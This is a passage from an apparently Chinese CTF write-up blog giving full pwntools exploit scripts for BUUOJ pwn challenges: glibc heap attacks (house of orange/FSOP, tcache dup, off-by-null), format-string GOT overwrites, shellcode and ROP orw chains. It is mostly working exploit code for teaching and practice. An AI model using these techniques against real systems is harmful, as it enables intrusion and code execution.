allo("a"*112)#2
allo("b"*112)#3

edit(0,payload)
payload=p64(sys_ad).ljust(0x70,"\x00")
edit(3,payload)
#gdb.attach(p)
free(1)

p.interactive()

[BSidesCF 2019]Runit

一个简单的shellocde题,直接填shellcode,然后call,就能拿到权限了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote("node4.buuoj.cn",27918)
#p = process("./pwn")
elf = ELF("./pwn")
#context.log_level="debug"
context.os="linux"
context.arch="i386"
libc = ELF('./libc-2.23.so')

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

de1ctf_2019_weapon

这个题做了一天,改了一天脚本没做出来,tcl,每当allo到stdout附近的时候就signal kill(感觉是unsortedbin中的那个,
correpurt,太离谱了),总之就是非常离谱,贴一下大佬的exp,待补充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python2
from pwn import *
p=0
def pwn():
global p
#p=process('./de1ctf_2019_weapon')
p=remote('node4.buuoj.cn',28928)
elf=ELF('./de1ctf_2019_weapon')
libc=elf.libc

def add(size,idx,name):
p.sendlineafter('>>','1')
p.sendlineafter(': ',str(size))
p.sendlineafter(': ',str(idx))
p.sendafter(':',name)

def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter(':',str(idx))

def edit(idx,data):
p.sendlineafter('>>','3')
p.sendlineafter(': ',str(idx))
p.sendafter(':',data)

payload=p64(0)*1+p64(0x71)
add(0x28,0,payload)
add(0x18,1,'cccc')
add(0x38,2,'dddd')
add(0x60,3,'\x02'*2)
add(0x60,4,'aaaa')
add(0x60,5,'bbbb')
delete(3)
delete(4)
edit(4,'\x10')
add(0x60,8,'dd')
add(0x60,7,p64(0)*3+p64(0x21)+p64(0)*3+p64(0xb1))
delete(2)
delete(3)
add(0x38,2,'aaa')
edit(3,'\xdd\x85')
payload='\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19
payload1='\x00'*0x33+p64(0xfbad3c80)+3*p64(0)+p8(0)
add(0x60,8,'aaa')
add(0x60,9,payload1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
malloc_hook=libcbase+libc.sym['__malloc_hook']
o_g=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libcbase+o_g[3]
delete(3)
delete(4)
delete(3)
add(0x60,3,p64(malloc_hook-0x23))
add(0x60,6,'doudou')
add(0x60,4,'doudou1')
add(0x60,8,'a'*0x13+p64(one_gadget))
log.success('libcbase: '+hex(libcbase))
p.sendlineafter('>>','1')
p.sendlineafter(': ',str(0x20))
p.sendlineafter(': ',str(8))
p.interactive()
return True

if __name__=="__main__":
while 1:
try:
if pwn()==True:
break
except Exception as e:
p.close()
continue


pwnable.kr_asm

开了沙箱,直接使用64位orw就可以了,有时间自己写写(待补充)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=remote('node4.buuoj.cn',28782)
context(arch='amd64', os='linux')

shellcode = ""
shellcode += shellcraft.open("./flag")
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

p.send(asm(shellcode))
p.interactive()

houseoforange_hitcon_2016

这个题是一个houseoforange + FSOP 的经典题,这个题真的可以好好记录一下
程序大致功能
1.add()函数中大小限制为0x1000
2.有show函数
3.有edit函数,并且存在溢出
4.没有free函数
思路是先溢出修改topchunk为0xf91,此时分配一个0x1000的堆,topchunk就会进入unsortedbin,
再分配一个largebin,largebin中的fd和bk为main_arnea + offset,而fd_nextsize和bk_nextsize为
自己的地址,如图
avatar
这样可以泄露libc和堆地址
然后就剩下unsortedbinattack 和 FSOP 部分
unsortedbinattack原理为
当malloc时,会执行如下代码

1
2
unsorted_chunks (av)-bk = bck;
bck -> fd = unsorted_chunks(av);

如果修改bk = target - 0x10,target 就会填入main_arena上指向该unsortedbin的地址
avatar
可以看到本题中io_list_all中写入了指向topchunk的地址
malloc时,unsortedbinattack 将io_list_all写入main_arena+0x58,并且由于修改了unsortedbin的大小为0x61,
main_arena+0x58+0x68会写入unsortedbin的地址,而接下来会判断下一个unsortedbin即(io_list_all中的地址),而
此时那里写入的是main_arena+0x58,没有chunk,不满足条件
(补充当unsortedbin从链表拆下来时,main_arena上会根据unsortedbin的大小填入堆的地址)
如图main_arena + 0x58 + 0x68填入的就是unsortedbin的地址(因为大小为0x61,所以填在这里)
avatar
main_arena + 0x58指向的时unsortedbin的地址
io_list_all中存放的是io_list_all结构体的指针,结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct _IO_list_all
$1 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, #这里是我们需要控制的地方,将伪造的_IO_FILE_plus结构链入 _IO_FILE的链表头部
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

此时触发错误,于是通过_chain调用下一个_IO_list_all,即 main_arena + 0x58 + 0x68 = main_arena + 0xc0,而
main_arena + 0xc0 处对应的是idx为6的smallbin(将unsortedbin大小改为0x61的原因)
FSOP的最终目的是调用 IO_flush_all_lockp 函数中的 IO_overflow函数(IO_overflow写成system,struct开始填入/bin/sh)
IO_flush_all_lockp函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

IO_flush_all_lockp函数触发条件:
1.当libc执行abort流程时 abort可以通过触发malloc_printerr来触发
2.当执行exit函数时
3.当执行流从main函数返回时
需要绕过的条件

1
2
3
1.fp->_mode > 0
2._IO_vtable_offset (fp) == 0
3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

64位的_IO_FILE_plus构造模板:

1
2
3
4
5
6
7
8
stream = "/bin/sh\x00"+p64(0x61)
stream += p64(0xDEADBEEF)+p64(IO_list_all-0x10)
stream +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)

32位的

1
2
3
4
5
6
7
8
9
stream = "sh\x00\x00"+p32(0x31)   # system_call_parameter and link to small_bin[4] 
stream += ";$0\x00"+p32(IO_list_all-0x8) # Unsorted_bin attack
stream +=p32(1)+p32(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0x88,"\x00")
stream += p32(0) # mode<=0
stream += p32(0)
stream += p32(0)
stream += p32(vtable_addr) # vtable_addr --> system

此时本题中main_arena + 0xc0正好就是我们伪造的数据如图
avatar
伪造数据形式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def fake_file_struct():
fake_file = p64(flag) #_flags
fake_file += p64(addr) #_IO_read_ptr
fake_file += p64(addr) #_IO_read_end
fake_file += p64(addr) #_IO_read_base
fake_file += p64(addr) #_IO_write_base
fake_file += p64(addr+1) #_IO_write_ptr
fake_file += p64(addr) #_IO_write_end
fake_file += p64(addr) #_IO_buf_base
fake_file += p64(0) #_IO_buf_end
fake_file += p64(0) #_IO_save_base
fake_file += p64(0) #_IO_backup_base
fake_file += p64(0) #_IO_save_end
fake_file += p64(0) #_markers
fake_file += p64(0) #chain could be a anathor file struct
fake_file += p32(1) #_fileno
fake_file += p32(0) #_flags2
fake_file += p64(0xffffffffffffffff) #_old_offset
fake_file += p16(0) #_cur_column
fake_file += p8(0) #_vtable_offset
fake_file += p8(0x10) #_shortbuf
fake_file += p32(0)
fake_file += p64(0) #_lock
fake_file += p64(0xffffffffffffffff) #_offset
fake_file += p64(0) #_codecvt
fake_file += p64(0) #_wide_data
fake_file += p64(0) #_freeres_list
fake_file += p64(0) #_freeres_buf
fake_file += p64(0) #__pad5
fake_file += p32(0xffffffff) #_mode
fake_file += p32(0) #unused2
fake_file += p64(0)*2 #unused2
fake_file += p64(vtable) #vtable

vtable地址被伪造成了0x000055b84fe0b5e8,伪造的虚表如下
avatar
此时overflow的地址为system,/bin/sh\x00为参数,这样就能getshell了
vtable是_IO_jump_t类型的指针,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

总exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
p = remote("node4.buuoj.cn",28968)

libc = ELF("./libc-2.23.so")
context.log_level = "debug"
def add(size,con,price):
p.recvuntil("Your choice : ")
p.sendline("1")
p.recvuntil("Length of name :")
p.sendline(str(size))
p.recvuntil("Name :")
p.send(con)
p.recvuntil("Price of Orange:")
p.sendline(str(price))
p.recvuntil("Color of Orange:")
p.sendline(str(1))

def show():
p.recvuntil("Your choice : ")
p.sendline("2")

def edit(size,con,price):
p.recvuntil("Your choice : ")
p.sendline("3")
p.recvuntil("Length of name :")
p.sendline(str(size))
p.recvuntil("Name:")
p.send(con)
p.recvuntil("Price of Orange: ")
p.sendline(str(price))
p.recvuntil("Color of Orange: ")
p.sendline("1")

add(0x30,"a"*0x28,0x10)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p64(0) * 3 + p64(0xf81)
edit(len(payload),payload,0x10)

add(0x1000,"aaaa",0x10)
add(0x400,"a" * 8,0x10)

show()
p.recvuntil("Name of house : ")
p.recvuntil("a"*8)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 0x668 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
io_list_all = libc_base + libc.sym["_IO_list_all"]
sys_ad = libc_base + libc.sym["system"]
log.info("io_list_all_ad: " + hex(io_list_all))
edit(0x10,"a"*0x10,0x10)
show()
p.recvuntil("a"*0x10)
heap_ad = u64(p.recv(6).ljust(8,"\x00")) - 0xe0
log.info("heap_ad: " + hex(heap_ad))
payload = "a"*0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = "/bin/sh\x00" + p64(0x61)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,"\x00")
fake_file += p64(0) * 3
fake_file += p64(heap_ad + 0x5e8)
fake_file += p64(0) * 2
fake_file += p64(sys_ad)
payload += fake_file

edit(len(payload),payload,0x10)
p.recvuntil("Your choice : ")
p.sendline("1")
#gdb.attach(p)

p.interactive()

ciscn_2019_sw_1

这个题挺有趣的,32位没开relro(什么都可以改)
思路是通过格式化字符串漏洞将printf的got表改成system,然后再把fini_array改成main就可以了
主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=remote("node4.buuoj.cn",25705)
context.arch="i386"
fini_ad=0x0804979C
main_ad=0x08048534 # 8534
print_got=0x00804989C
sys_ad=0x80483D0 # 83d0 0804
payload=p32(print_got+2)+p32(print_got)+p32(fini_ad)+"%"+str(0x804-12)+"c%4$hn"+"%"+str(0x83d0-0x804)+"c%5$hn"+"%"+str(0x8534-0x83d0)+"c%6$hn"

p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()

ciscn_s_6

unsortedbin attack泄露libc,然后tcache dup改free_hook就可以了(这里要注意偏移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
#p=process("./ciscn_s_6")
p=remote("node4.buuoj.cn",29489)

libc=ELF("./libc-2.27.so")
context.arch="amd64"
context.os="linux"
context.log_level="debug"

def add(size,name,call):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil("name:\n")
p.sendline(str(name))
p.recvuntil("call:\n")
p.sendline(str(call))

def show(idx):
p.recvuntil("choice:")
p.sendline("2")
p.recvuntil("index:\n")
p.sendline(str(idx))

def free(idx):
p.recvuntil("choice:")
p.sendline("3")
p.recvuntil("index:\n")
p.sendline(str(idx))

add(0x410, "archer", "1111111") #0
add(0x10, "bbbb", "qqqqq") #1

free(0)
show(0)

p.recvuntil("name:\n")
#gdb.attach(p)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 0x70 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]

log.info("maloc_hook: " + hex(libc.sym["__malloc_hook"]))
log.info("libc_base: " + hex(libc_base))
log.info("free_hook: " + hex(free_hook))
log.info("sys_ad: " + hex(sys_ad))
add(0x30, "aaaa", "qqqq") #2
free(2)
free(2)

add(0x30, p64(free_hook), "aaa") #3

add(0x30, p64(free_hook), "bbbb") #4

add(0x30, p64(sys_ad), "aaaa") #5
add(0x40,"/bin/sh\x00","aaaa") #6

free(6)
p.interactive()

hgame2018_flag_server

这个题nc连接后,用-1绕过长度检测,然后”a”* 0x64 + 1就可以getshell了
payload = “AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH1”

SWPUCTF_2019_p1KkHeap

题目环境ubuntu18,保护全开,开了沙箱,限制free次数3次,存在uaf漏洞,有show功能可以泄露libc或者堆地址,程序一开始分配了固定地址的orw段
这个题不能按常规思路做,通过overlap改大小泄露libc,或者塞满tcachebin 基本都实现不了,实现了也无法分配到malloc_hook
思路是doublefree,泄露堆地址,从而泄露heap的表头,然后通过修改表头可以控制分配堆的地址,先分配到表头,然后再分配到
orw段写shellcode,再分配到malloc_hook跳shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

file_name = "./SWPUCTF_2019_p1KkHeap"
remote_ad = "ndoe4.buuoj.cn"
port = 27840
libc_name = "./libc-2.27.so"
choice = 1
libc = ELF(libc_name)

if(choice==0):
p = process(file_name)
else:
p = remote(remote_ad,port)

elf = ELF(file_name)
libc = ELF(libc_name)
context.arch = "amd64"

def add(size):
p.recvuntil("Your Choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))

def show(idx):
p.recvuntil("Your Choice: ")
p.sendline("2")
p.recvuntil("id: ")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil("Your Choice: ")
p.sendline("3")
p.recvuntil("id: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.sendline(con)

def free(idx):
p.recvuntil("Your Choice: ")
p.sendline("4")
p.recvuntil("id: ")
p.sendline(str(idx))

orw_ad = 0x66660000
add(0x100) #0
add(0x100) #1

free(0)
free(0)

show(0)

p.recvuntil("content: ")
heap_entry = u64(p.recv(6).ljust(8,"\x00")) - 0x198
log.info("heap_entry: " + hex(heap_entry))

add(0x100) #2
edit(2,p64(heap_entry))
add(0x100) #3
add(0x100) #4
free(0)

show(0)
p.recvuntil("content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) -0x3ebca0
log.info("libc_base: " + hex(libc_base))
malloc_hook = libc_base + +0x3ebc30

shellcode = shellcraft.open("flag")
shellcode += shellcraft.read(3,orw_ad + 0x300,64)
shellcode += shellcraft.write(1,orw_ad + 0x300,64)

edit(4,p64(orw_ad))

add(0x100) #5
edit(5,asm(shellcode))

edit(4,p64(malloc_hook))
add(0x100) #6
edit(6,p64(orw_ad))

add(0x1)
#gdb.attach(p)
p.interactive()

[2020 新春红包题]3

libc-2.29下的smallbin attack,思路比较简单,最后需要将栈迁移到堆上orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

libc = ELF("/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
libc_path = "/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so"
ld_path = "/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so"

p = remote("node4.buuoj.cn",29956)
#p = process([ld_path, "./pwn"], env={"LD_PRELOAD":libc_path})
context(log_level = "debug")
def add(idx,choice,con):
p.sendlineafter("input: ","1")
p.sendlineafter("idx: ",str(idx))
p.sendlineafter(": ",str(choice))
p.sendlineafter("content: ",con)

def delete(idx):
p.sendlineafter("input: ","2")
p.sendlineafter("idx: ",str(idx))

def change(idx,con):
p.sendlineafter("input: ","3")
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("content: ",con)

def show(idx):
p.sendlineafter("input: ","4")
p.sendlineafter("idx: ",str(idx))

def backdoor(con):
p.sendlineafter("input: ","666")
p.sendlineafter("want to say?",con)

for i in range(9):#0 - 8 size: 0x400
add(i,4,"aaaaaaaa")

for i in range(9,15):#9 - 14
add(i,2,"aaaabbbb")#0xf0
delete(1)
delete(0)
show(0)
heap = u64(p.recv(6).ljust(8,b"\x00")) - 0x370 - 4880
log.info("heap: " + hex(heap))
for i in range(3,9):#3 s- 8
delete(i)
show(8)

libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))

for i in range(9,15):
delete(i)
add(16,3,"bbbaaa")
add(0,3,"bbbaaa")
delete(2)
add(1,3,"aaabbb")
add(3,3,"aaabbb")
change(2,b"d"*0x300 + p64(0) + p64(0x101) + p64(heap + 13808) + p64(heap + 2640))
add(0,2,"./flag\x00")
flag_ad = heap + 13824
rax = 0x47cf8 + libc_base
rdi = 0x26542 + libc_base
rdx_rsi = 0x12bdc9 + libc_base
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
leave = libc_base + 0x58373

pay = p64(rdi) + p64(flag_ad) + p64(rdx_rsi) + p64(0)*2 + p64(rax) + p64(2) + p64(open)#0x28
pay += p64(rdi) + p64(3) + p64(rdx_rsi) + p64(0x100) + p64(heap) + p64(rax) +p64(0) + p64(read)#0x40
pay += p64(rdi) + p64(1) + p64(rdx_rsi) + p64(0x100) + p64(heap) + p64(rax) +p64(1) + p64(write)
pay_ad = 17184 + heap
add(0,3,b"a"*8 + pay)
#gdb.attach(p)
backdoor(b"a"*0x80 + p64(pay_ad) + p64(leave))
p.interactive()

SWPUCTF_2019_login

这个题为32位bss段上格式化字符串漏洞,思路是借用输入的name在栈上的地址,来将printf_got+2和printf_got加载到栈上,
然后同时改,改为system后就可以getshell了,一开始早就打通了,结果打远程的时候被p.recvuntil卡住了(学到了,以后做格式化必加p.recvuntil)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

p = remote("node4.buuoj.cn",26464)
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")

printf_got = elf.got["printf"]
log.info("printf_got: " + hex(printf_got))
p.sendline("/bin/sh\x00")
p.recvuntil("Please input your password: \n")
payload = "a"*8 + "%15$p" + "%6$p"

p.sendline(payload)
p.recvuntil("a"*8)
ad = int(p.recv(10),16) - 241 - libc.sym["__libc_start_main"]
stack = int(p.recv(10),16)
sys_ad = ad + libc.sym["system"]
log.info("ad: " + hex(ad))
log.info("stack: " + hex(stack))
log.info("sys_ad: " + hex(sys_ad))
log.info("printf_ad: " + hex(ad + libc.sym["printf"]))
#gdb.attach(p)
payload = "%" + str((stack-0x10-4)&0xff) + "c%6$hhn"
p.recvuntil('Try again!')
p.sendline(payload)
payload = "%" + str(0x16) + "c%10$hhn"
p.recvuntil('Try again!')
p.sendline(payload)
payload = "%" + str((stack-0x4)&0xff) + "c%6$hhn"
p.recvuntil('Try again!')
p.sendline(payload)
payload = "%" + str(0x14) + "c%10$hhn"
p.recvuntil('Try again!')
p.sendline(payload)
payload = "%" + str((sys_ad>>16)&0xff) + "c%5$hhn"
payload += "%" + str(((sys_ad&0xffff)) - ((sys_ad>>16)&0xff)) + "c%9$hn"
p.recvuntil('Try again!')
p.sendline(payload)
p.sendline("/bin/sh\x00")

p.interactive()

npuctf_2020_level2

开了pie和full relro保护,64位bss段上格式化字符串漏洞,链子藏的比较深,一开始没找到(看了wp才知道),直接打og就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

p = remote("node4.buuoj.cn",29970)
libc = ELF("libc-2.27.so")

payload = "aaaaaaaa" + "%7$p" + "%9$p" + "%11$p" + "aaaa" + "\x00"
p.sendline(payload)
p.recvuntil("a"*8)
libc_base = int(p.recv(14),16) - 231 - libc.sym["__libc_start_main"]
stack = int(p.recv(14),16) - 0xe0
sys_ad = libc_base + libc.sym["system"]
base = int(p.recv(14),16) - 0x79a
bss = base + 0x201040
log.info("libc_base: " + hex(libc_base))
log.info("stack : " + hex(stack))
log.info("sys_ad: " + hex(sys_ad))
log.info("base: " + hex(base))
#35
og = libc_base + 0x4f2c5 #0x4f3c2(rsp_0x40 == null) 0x10a45c(rsp+0x70 == null) 0x4f365(rsp&0xf == 0 rcx == null)
sys_ad = og
log.info("og: " + hex(og))
payload = "%" + str(stack&0xffff) + "c%9$hn" + "aaaa" + "\x00"
p.sendlineafter("aaaa",payload)
payload = "%" + str(sys_ad&0xff) + "c%35$hhn" + "aaaa" + "\x00"
p.sendlineafter("aaaa",payload)
payload = "%" + str((stack+1)&0xff) + "c%9$hhn" + "aaaa" + "\x00"
p.sendlineafter("aaaa",payload)
payload = "%" + str((sys_ad>>8)&0xff) + "c%35$hhn" + "aaaa" + "\x00"
p.sendlineafter("aaaa",payload)
payload = "%" + str((stack+2)&0xff) + "c%9$hhn" + "aaaa" + "\x00"
p.sendlineafter("aaaa",payload)
payload = "%" + str((sys_ad>>16)&0xff) + "c%35$hhn" + "aaaa" + "\x00"
p.sendlineafter("aaaa",payload)
payload = "%" + str(stack&0xffff) + "c%9$hn" + "aaaa" + "\x00"
p.sendlineafter("aaaa",payload)
p.sendlineafter("aaaa","66666666\x00")
p.interactive()

sctf_2019_easy_heap

这个题挺好玩的,ubuntu18环境,程序开始给了个rwx段,没有show函数,分配的堆大小限制为0x1000,edit函数有
off-by-null
思路是先创建三个堆大小分别为0x418,0x68,0x4f8,0x68,如下图所示
avatar
free(1),然后off-by-null将堆2的presize设置为0x420+0x70,然后free(2),就会得到一个0x420+0x70的堆
,从堆0处开始分配,此时先add(0x418),再add(0x68)就能在bss段上得到两个指向堆1的指针,如图
avatar
然后攻击rwx段写入shellcode,再通过一样的方法,将main_arena写到堆1上,此时覆盖0xa0这个字节为
0x30,此时就能得到malloc_hook,再写rwx的地址就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
p = remote("node4.buuoj.cn",28664)

libc = ELF("./libc-2.27.so")
context.arch = "amd64"
def add(size):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))

def free(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.sendline(con)

shell = asm(shellcraft.sh())
print len(shell)
p.recvuntil("Mmap: ")
rwx = int(p.recvuntil("\n")[:-1],16)
log.info("rwx_ad: " + hex(rwx))
add(0x418)#0
add(0x68)#1
add(0x4f8)#2
add(0x68)#3
free(0)
edit(1,"a"*0x60+p64(0x420+0x70))
free(2)
add(0x418)
add(0x68)
free(3)
free(1)
edit(2,p64(rwx))
add(0x68)#1
add(0x68)#3
edit(3,shell)
add(0x410+0xe0)
free(0)
free(1)
edit(2,"a"*0x60+p64(0x490))
free(4)
add(0x418)
edit(2,p8(0x30))
add(0x68)
add(0x68)
edit(4,p64(rwx))
add(0x68)
#gdb.attach(p)
p.interactive()

ciscn_2019_s_1

ubuntu18,关了pie,思路挺简单的add中有off-by-null,并且给了堆地址,思路和前面那题差不多,先分到
控制show以及edit的0x6022B8,然后再free_hook改system就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
p = remote("node4.buuoj.cn",29841)

libc = ELF("./libc-2.27.so")
context.arch = "amd64"
def add(idx,size,con):
p.recvuntil("4.show\n")
p.sendline("1")
p.recvuntil("index:\n")
p.sendline(str(idx))
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil("gift: ")
ad = int("0x" + p.recvuntil("\n")[:-1],16)
p.recvuntil("content:\n")
p.send(con)
return ad

def free(idx):
p.recvuntil("4.show\n")
p.sendline("2")
p.recvuntil("index:\n")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil("4.show\n")
p.sendline("3")
p.recvuntil("index:\n")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(con)

def show(idx):
p.recvuntil("4.show\n")
p.sendline("4")
p.recvuntil("index:\n")
p.sendline(str(idx))

heap_ad = add(0,0xa8,"aaaa") - 0x10
log.info("heap_ad: " + hex(heap_ad))
add(1,0x88,"aaaa")
add(2,0xf8,"aaaa")
add(3,0x88,"aaaa")
for i in range(7):
add(i+4,0xa8,"aaaa")
for i in range(7):
free(i+4)
free(0)
edit(1,"a"*0x80+p64(0xb0+0x90))
for i in range(7):
